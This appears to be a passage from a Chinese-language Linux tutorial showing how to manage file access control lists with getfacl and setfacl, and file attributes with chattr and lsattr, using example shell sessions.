一种是default ACL,只能针对目录设置。如果目录中的文件没有设置 ACL,它就会使用该目录的默认 ACL.

1)getfacl

获取文件权限

[root@bogon anacron]# getfacl cron.daily 
# file: cron.daily
# owner: root
# group: root
user::rw-
group::---
other::---

2)setfacl

Access ACL

比如我设置/tmp/1.sh的other权限为000,然后切换到vinc账户。

[vinc@vincent tmp]$ cat 1.sh
cat: 1.sh: 权限不够

然后我们添加ACL

[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh

然后我们使用ll查看,发现第一个字段文件权限第十位变成了+号

[root@vincent tmp]# ll 1.sh
-rwxrwx---+ 1 root root 512 8月   9 03:21 1.sh

然后我们使用getfacl查看

[vinc@vincent tmp]$ getfacl 1.sh
# file: 1.sh
# owner: root
# group: root
user::rwx
user:vinc:rwx
group::r-x
mask::rwx
other::---

我们切换到vinc账户就可以查看内容了

[vinc@vincent tmp]$ cat 1.sh
test

删除这条ACL

[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh

取消所有的ACL

[root@vincent tmp]# setfacl -b /tmp/1.sh

Default ACl

前面所说都是access acl,针对文件而言,而default acl是指对于一个目录进行default acl设置,并且在此目录下建立的文件都将继承此目录的acl。

[root@vincent opt]# setfacl -d -m u:hehe:--- 1

来看下目录1的权限

[root@vincent opt]# getfacl -c 1
user::rwx
group::r-x
other::r-x
default:user::rwx
default:user:hehe:---
default:group::r-x
default:mask::r-x
default:other::r-x

我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件,然后查看一下ACL

[vinc@vincent 1]$ getfacl 222
# file: 222
# owner: vinc
# group: vinc
user::rw-
user:hehe:---
group::r-x            #effective:r--
mask::r--
other::r--

切换到hehe账户,查看文件,提示权限不够。

[hehe@vincent 1]$ cat /opt/1/222
cat: /opt/1/222: 权限不够

lsattr和chattr

chattr

修改属性能够提高系统的安全 性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录

a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安 全,只有root才能设定这个属性。

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。

s:保密性地删除文件或目录,即硬盘空间被全部收回。

u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。

例子:

设置/etc/resolv.conf为不可修改

[root@vincent tmp]# chattr +i /etc/resolv.conf 
[root@vincent tmp]# lsattr /etc/resolv.conf 
----i--------e- /etc/resolv.conf
[root@vincent tmp]# echo "" > /etc/resolv.conf 
-bash: /etc/resolv.conf: 权限不够

lsattr 查看文件权限

[root@vincent tmp]# lsattr 1.txt 
-----a-------e- 1.txt